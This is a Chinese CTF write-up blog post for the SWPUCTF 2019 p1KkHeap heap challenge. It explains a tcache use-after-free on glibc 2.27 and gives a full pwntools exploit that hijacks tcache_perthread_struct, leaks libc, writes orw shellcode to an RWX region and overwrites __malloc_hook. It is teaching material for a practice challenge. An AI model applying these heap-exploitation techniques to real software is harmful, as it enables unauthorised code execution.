SWPUCTF_2019_p1KkHeap

SWPUCTF_2019_p1KkHeap

SWPUCTF_2019_p1KkHeap

总结

根据本题，学习与收获有：

tcache attack时如果可以利用tcache_perthread_struct，优先考虑利用这个结构体，可以省去很多麻烦。控制了这个结构体，相当于就控制了malloc的分配，可以控制tcache bins中chunk的数量和分配地址。
tcache_perthread_struct结构体在堆上，大小一般为0x250。它的前64个字节，分别代表0x20~0x410大小的chunk(包括chunk头)的数量。当超过7的时候，再次释放的chunk会被放入到fastbin或者unsorted bin。后面的内存，则分别表示0x20~0x410大小tcache bins的首地址。

如图所示：

然后看一下内部细节：

首地址如果是一个有效的地址，下一次分配对应大小的chunk会直接从该地址处分配，没有chunk size的检查。

tcache attack可以重复释放，可以直接修改tcache entry的值，没有chunk size的检查。

题目分析

checksec

保护全开！

函数分析

很明显，又是一个菜单题。首先来看main函数。

main

这些函数的名字我都修改过。然后看一下这个set_prctl到底干了啥：

set_prctl

同时，结合seccomp-tools查看一下禁用了哪些系统调用：

不能执行execve系统调用。那么结合前面的mmap，猜测可以控制程序执行流到0x66660000处，提前在这里写好shellcode，通过orw的方式读取flag。

继续往下分析函数。

add_note

size的大小只能控制在0x100以内，最多执行该函数7次。

show_note

edit_note

del_note

可以看到，只能free三次，且存储内存指针的数组没有置为空。

漏洞点

程序的运行环境为ubuntu 18.04，libc的版本为2.27，有tcache bin机制。可以很明显的看到，在del_note函数中有一个UAF的漏洞。但是，最多只能free3次。结合tcache dup的利用手段，tcache bin连续两次释放，并不会crash，而会造成这个链表自己指向自己。这样，连续分配三次后，可以在任意地址分配chunk。
mmap分配的内存具有可读可写可执行的权限，所以可以往这上面写shellcode，然后劫持malloc_hook到地址0x66660000，跳转执行shellcode。注意，不能包含execve的系统调用，所以只能写orw的shellcode。

利用思路

知识点

如上面所说，每一个线程都会维护一个结构体，名为tcache_perthread_struct，这个结构体负责tcache in chunk的分配。所以，只要控制住这个结构体，就能实现控制任意大小的tcache bin chunk的任意地址的分配。
当tcache bins放满7个后，剩余free掉的chunk会被放到fastbin或者unsorted bin。这里判断对应带大小的tcache bins的方法，就是检查tcache_perthread_struct中的字段的大小是不是大于6。
calloc不会从tcache bin中取chunk，但是如果对应大小的tcache bin未满7个的话，会把对应大小的fastbin或者small bin以头插法的形式，插入到tcache bin中。也就是说，如果修改了fd/bk指针，可以往任意一个地方写一个libc地址。（这个知识点可能用不到，不过可以先总结一下。）

利用过程

这里采取劫持tcache_perthread_struct，然后通过控制对应大小的tcache bin的数量，使得下一次释放的chunk被放置在unsorted bin中。，从而泄露出libc的地址，根据偏移计算出malloc_hook的地址。

步骤：

连续申请两块大小为0x100大小的chunk 0和chunk 1
连续释放两次chunk 1
通过show功能打印出堆地址，进而泄露出tcache_perthread_struct的地址，并分配到这里
修改0x100大小的tcache bin的首地址为0x66660000和个数为0
分配到0x66660000处，写入shellcode
释放chunk 0，此时chunk 0会进入到unsorted bin，利用show功能打印出libc地址
再次控制tcache_perthread_struct，分配到malloc_hook处，写入0x66660000
任意执行一次add_note即可打印出flag

EXP

调试过程

我们就按照上面所说的这个利用思路来进行调试。

定义好相关的函数：

def add_note(size:int):
    global io
    io.sendlineafter("Your Choice: ", '1')
    io.sendlineafter("size: ", str(size))
    io.recvuntil("Done!\n")

def show_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '2')
    io.sendlineafter("id: ", str(idx))
    msg = io.recvline()
    leak_addr = msg[9:15]
    leak_addr = u64(leak_addr.ljust(8, b'\x00'))
    LOG_ADDR('leak_addr', leak_addr)
    io.recvuntil("Done!\n")
    return leak_addr

def edit_note(idx:int, content:bytes=b'a'):
    global io
    io.sendlineafter("Your Choice: ", '3')
    io.sendlineafter("id: ", str(idx))
    io.sendafter("content: ", content)
    io.recvuntil("Done!\n")

def del_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '4')
    io.sendlineafter("id: ", str(idx))
    io.recvuntil("Done!\n")

首先执行两次add_note

add_note(0x100) # 0
add_note(0x100) # 1

然后，执行tcache dup：

del_note(1)
del_note(1)

然后泄露出地址，并分配到tcache_perthread_struct

# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)

add_note(0x100) # 3
add_note(0x100) # 4 tcache struct

可以看到，0x100大小的chunk的count变成了-1

分配到0x66660000

edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))
# 0x66660000 chunk
add_note(0x100) # 5

写入shellcode到0x66660000

shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))

泄露libc地址，并且计算出malloc_hook地址

del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70

分配到malloc_hook，写入0x66660000，并执行一次add_note

add_note(0x100) # 6
edit_note(6, p64(0x66660000))

io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))

最后远程打的结果：

完整exp

from pwn import *
context.update(arch='amd64', os='linux', endian='little')
io = process('./pwn')

def add_note(size:int):
    global io
    io.sendlineafter("Your Choice: ", '1')
    io.sendlineafter("size: ", str(size))
    io.recvuntil("Done!\n")

def show_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '2')
    io.sendlineafter("id: ", str(idx))
    msg = io.recvline()
    leak_addr = msg[9:15]
    leak_addr = u64(leak_addr.ljust(8, b'\x00'))
    LOG_ADDR('leak_addr', leak_addr)
    io.recvuntil("Done!\n")
    return leak_addr

def edit_note(idx:int, content:bytes=b'a'):
    global io
    io.sendlineafter("Your Choice: ", '3')
    io.sendlineafter("id: ", str(idx))
    io.sendafter("content: ", content)
    io.recvuntil("Done!\n")

def del_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '4')
    io.sendlineafter("id: ", str(idx))
    io.recvuntil("Done!\n")


# tcache bin dup
add_note(0x100) # 0
add_note(0x100) # 1
del_note(1)
del_note(1)

# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)

add_note(0x100) # 3
add_note(0x100) # 4 tcache struct 
LOG_ADDR('tcache_struct', tcache_struct)

edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))

# 0x66660000 chunk
add_note(0x100) # 5

shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))

# leak libc_addr
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70
LOG_ADDR('malloc_hook', malloc_hook)
edit_note(4, 0xb8 * b'\x00' + p64(malloc_hook))

add_note(0x100) # 6
edit_note(6, p64(0x66660000))

io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))

io.interactive()

posted @ 2021-03-28 17:40 LynneHuan 阅读(365) 评论(0) 编辑收藏举报

刷新页面返回顶部

Loading

Lynne's Blog

欢迎交流~

SWPUCTF_2019_p1KkHeap